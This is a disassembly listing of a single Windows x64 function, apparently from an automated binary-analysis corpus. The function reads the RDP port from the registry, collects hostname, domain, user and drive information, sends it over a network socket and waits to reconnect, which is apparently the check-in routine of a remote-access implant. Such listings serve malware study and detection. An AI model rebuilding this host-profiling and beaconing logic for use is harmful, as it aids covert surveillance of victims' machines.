Function at 0x140001060
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x238
movaps xmmword [rsp + 0x220], xmm6
mov rax, qword [0x14008ae00]
xor rax, rsp
mov qword [rsp + 0x218], rax
mov dword [rsp + 0xd0], 0
mov dword [rsp + 0xb8], 4
lea rsi, [rsp + 0x110]
mov qword [rsp + 0x20], rsi
lea rdx, str.SystemCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0x101
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, 0xd3d
test eax, eax
jne 0x14000111e
lea rax, [rsp + 0xb8]
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r8, str.PortNumber
xor edx, edx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov ebp, 0xd3d
test eax, eax
jne 0x14000111e
mov ebp, dword [rsp + 0xd0]
lea rcx, [0x14008bc00]
lea rdx, [0x14008030a]
call fcn.140001c60
movzx ecx, byte [rax]
add ecx, 0xfffffffc
cmp ecx, 3
ja case.default.0x14000114e
lea rdx, [0x140001aec]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movzx edi, word [rax + 8]
jmp 0x140001161
movzx edi, byte [rax + 8]
jmp 0x140001161
cvttsd2si edi, qword [rax + 8]
lea rcx, [0x14008bc00]
lea rdx, [0x140080585]
call fcn.140001c60
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], recv
cmp byte [rax], 3
jne case.default.0x14000114e
mov r9, qword [rax + 8]
lea rax, [rsp + 0xf0]
cmp r9, rax
je 0x1400011fa
mov rbx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x1400011bf
mov r9, qword [r9]
cmp rbx, 0xf
jbe 0x1400011d7
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call fcn.140028d90
jmp 0x1400011fa
mov qword [rsp + 0x100], rbx
lea rcx, [rsp + 0xf0]
mov rdx, r9
mov r8, rbx
call fcn.140055720
mov byte [rsp + rbx + 0xf0], 0
lea rbx, [0x14008bbc0]
lea rdx, [rsp + 0xf0]
mov rcx, rbx
mov r8d, edi
call fcn.140001b00
lea rax, vtable.std::_Func_impl_no_alloc_class__void___cdecl_mainthread_void_::_1::_lambda_0___void__class_std::vector_unsigned_char__class_std::allocator_unsigned_char___.0
mov qword [rsp + 0x110], rax
mov word [rsp + 0x118], bp
mov qword [rsp + 0x148], rsi
mov rcx, rbx
mov rdx, rsi
call fcn.140001d70
mov rcx, qword [rsp + 0x148]
test rcx, rcx
je 0x140001257
cmp rcx, rsi
setne dl
mov rax, qword [rcx]
call qword [rax + 0x20]
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
lea rdi, [rsp + 0xb0]
xorps xmm6, xmm6
movups xmmword [rsp + 0xa8], xmm6
mov byte [rsp + 0xa8], 5
lea rdx, str.type
lea rsi, [rsp + 0xb8]
mov rcx, rsi
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0xa8]
mov byte [rax], cl
mov byte [rsp + 0xa8], dl
mov rcx, qword [rax + 8]
mov r8, qword [rsp + 0xb0]
mov qword [rax + 8], r8
mov qword [rsp + 0xb0], rcx
mov rcx, rdi
call fcn.140021730
lea rcx, [0x14008bc00]
lea rdx, str.deviceid
call fcn.140001c60
lea rcx, [rsp + 0x98]
mov rdx, rax
call fcn.140001eb0
lea rdx, str.device
mov rcx, rsi
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x98]
mov byte [rax], cl
mov byte [rsp + 0x98], dl
lea rcx, [rsp + 0xa0]
mov r8, qword [rax + 8]
mov r9, qword [rsp + 0xa0]
mov qword [rax + 8], r9
mov qword [rsp + 0xa0], r8
call fcn.140021730
movaps xmmword [rsp + 0xd0], xmm6
mov dword [rsp + 0xcc], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1400013d3
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
lea rcx, [rsp + 0xd0]
call fcn.14003b4f0
test rax, rax
js 0x140001ade
mov rsi, rax
cmp rax, 0xf
ja 0x1400013f5
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], recv
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0xd0]
mov r8, rsi
call fcn.140055720
add rsi, rsp
add rsi, 0x110
jmp 0x140001463
movaps xmmword [rsp + 0x110], xmm6
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], recv
jmp 0x140001466
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, socket
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140001429
lea rcx, [rbx + 0x28]
call fcn.14002bc78
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001435
lea rcx, [rbx + 1]
call fcn.14002bc78
mov rdi, rax
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rbx
lea rdx, [rsp + 0xd0]
mov rcx, rdi
mov r8, rsi
call fcn.140055720
add rsi, rdi
mov byte [rsi], 0
lea rsi, [rsp + 0x88]
xorps xmm6, xmm6
movaps xmmword [rsp + 0x80], xmm6
mov byte [rsp + 0x80], 3
mov ecx, 0x20
call fcn.14002bc78
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x88], rax
lea rdx, str.hostname
lea rcx, [rsp + 0xb8]
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x80]
mov byte [rax], cl
mov byte [rsp + 0x80], dl
mov rcx, qword [rax + 8]
mov r8, qword [rsp + 0x88]
mov qword [rax + 8], r8
mov qword [rsp + 0x88], rcx
mov rcx, rsi
call fcn.140021730
mov dword [rsp + 0xcc], 0x104
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0xcc]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
test eax, eax
je 0x140001586
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
lea rcx, [rsp + 0x110]
call fcn.14003b4f0
test rax, rax
js 0x140001ade
mov rsi, rax
cmp rax, 0xf
ja 0x1400015a8
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], recv
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x110]
mov r8, rsi
call fcn.140055720
add rsi, rsp
add rsi, 0xd0
jmp 0x140001616
movaps xmmword [rsp + 0xd0], xmm6
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], recv
jmp 0x140001619
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, socket
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400015dc
lea rcx, [rbx + 0x28]
call fcn.14002bc78
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400015e8
lea rcx, [rbx + 1]
call fcn.14002bc78
mov rdi, rax
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rbx
lea rdx, [rsp + 0x110]
mov rcx, rdi
mov r8, rsi
call fcn.140055720
add rsi, rdi
mov byte [rsi], 0
lea rdi, [rsp + 0x78]
xorps xmm6, xmm6
movaps xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x70], 3
mov ecx, 0x20
call fcn.14002bc78
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x78], rax
lea rdx, str.domain
lea rsi, [rsp + 0xb8]
mov rcx, rsi
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x70]
mov byte [rax], cl
mov byte [rsp + 0x70], dl
mov rcx, qword [rax + 8]
mov r8, qword [rsp + 0x78]
mov qword [rax + 8], r8
mov qword [rsp + 0x78], rcx
mov rcx, rdi
call fcn.140021730
lea rcx, [0x14008bc00]
lea rdi, str.user
mov rdx, rdi
call fcn.140001c60
lea rcx, [rsp + 0x60]
mov rdx, rax
call fcn.140001eb0
mov rcx, rsi
mov rdx, rdi
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x60]
mov byte [rax], cl
mov byte [rsp + 0x60], dl
lea rcx, [rsp + 0x68]
mov r8, qword [rax + 8]
mov r9, qword [rsp + 0x68]
mov qword [rax + 8], r9
mov qword [rsp + 0x68], r8
call fcn.140021730
lea rcx, [rsp + 0x110]
call fcn.140002130
lea rdi, [rsp + 0x58]
movaps xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x50], 3
mov ecx, 0x20
call fcn.14002bc78
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], recv
mov byte [rsp + 0x110], 0
mov qword [rsp + 0x58], rax
lea rdx, [0x140080aa4]
mov rcx, rsi
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x50]
mov byte [rax], cl
mov byte [rsp + 0x50], dl
mov rcx, qword [rax + 8]
mov r8, qword [rsp + 0x58]
mov qword [rax + 8], r8
mov qword [rsp + 0x58], rcx
mov rcx, rdi
call fcn.140021730
mov rax, qword [rsp + 0x128]
cmp rax, 0x10
jb 0x1400017c8
mov rcx, qword [rsp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400017c3
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001ad9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
lea rsi, [rsp + 0x110]
mov rcx, rsi
call fcn.140002670
lea rdi, [rsp + 0x48]
movaps xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x40], 3
mov ecx, 0x20
call fcn.14002bc78
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], recv
mov byte [rsp + 0x110], 0
mov qword [rsp + 0x48], rax
lea rdx, str.drives
lea rcx, [rsp + 0xb8]
call fcn.140001c60
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov byte [rsp + 0x40], dl
mov rcx, qword [rax + 8]
mov r8, qword [rsp + 0x48]
mov qword [rax + 8], r8
mov qword [rsp + 0x48], rcx
mov rcx, rdi
call fcn.140021730
mov rax, qword [rsp + 0x128]
cmp rax, 0x10
jb 0x1400018b0
mov rcx, qword [rsp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400018ab
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001ad9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0xb8]
mov rdx, rsi
mov r8d, 0xffffffff
mov r9b, 0x20
call fcn.1400029e0
mov ecx, 4
call fcn.14002bc78
mov qword [rsp + 0xd0], rax
lea rdx, [rax + 4]
mov qword [rsp + 0xe0], rdx
mov dword [rax], 0x44f36
mov qword [rsp + 0xd8], rdx
mov r9, qword [rsp + 0x120]
cmp qword [rsp + 0x128], 0x10
jb 0x14000191d
mov rsi, qword [rsp + 0x110]
lea rcx, [rsp + 0xd0]
mov r8, rsi
call fcn.140016850
mov rsi, qword [rsp + 0xd8]
sub rsi, qword [rsp + 0xd0]
je 0x140001965
js 0x140001ae3
cmp rsi, 0x1000
jb 0x14000196d
lea rcx, [rsi + 0x27]
call fcn.14002bc78
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001978
xor edi, edi
xor ebx, ebx
xor esi, esi
jmp 0x14000199c
mov rcx, rsi
call fcn.14002bc78
mov rdi, rax
add rsi, rdi
mov rdx, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xd8]
sub rbx, rdx
mov rcx, rdi
mov r8, rbx
call fcn.140055720
add rbx, rdi
mov rcx, qword [0x14008bbc0]
test rcx, rcx
je 0x1400019b9
sub ebx, edi
mov rdx, rdi
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
test rdi, rdi
je 0x1400019f1
sub rsi, rdi
cmp rsi, 0x1000
jb 0x1400019e6
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jae 0x140001ad9
add rsi, 0x27
mov rdi, rax
mov rcx, rdi
mov rdx, rsi
call fcn.14002bcbc
lea rcx, [0x14008bbc0]
mov dl, 1
call fcn.140002c80
lea rcx, str.Waiting_30s_before_reconnecting
call fcn.14003ac44
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140001a58
mov rdx, qword [rsp + 0xe0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001a53
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001ad9
add rdx, 0x27
mov rcx, rax
call fcn.14002bcbc
mov rax, qword [rsp + 0x128]
cmp rax, 0x10
jb 0x140001a9b
mov rcx, qword [rsp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001a96
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001ad9
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
lea rcx, [rsp + 0xc0]
movzx edx, byte [rsp + 0xb8]
call fcn.140021730
mov rcx, qword [rsp + 0x218]
xor rcx, rsp
call fcn.14002bd70
movaps xmm6, xmmword [rsp + 0x220]
add rsp, 0x238
pop rbx
pop rbp
pop rdi
pop rsi
ret
call fcn.1400389e8
call fcn.140038150
call fcn.140004660
call fcn.140004400
int3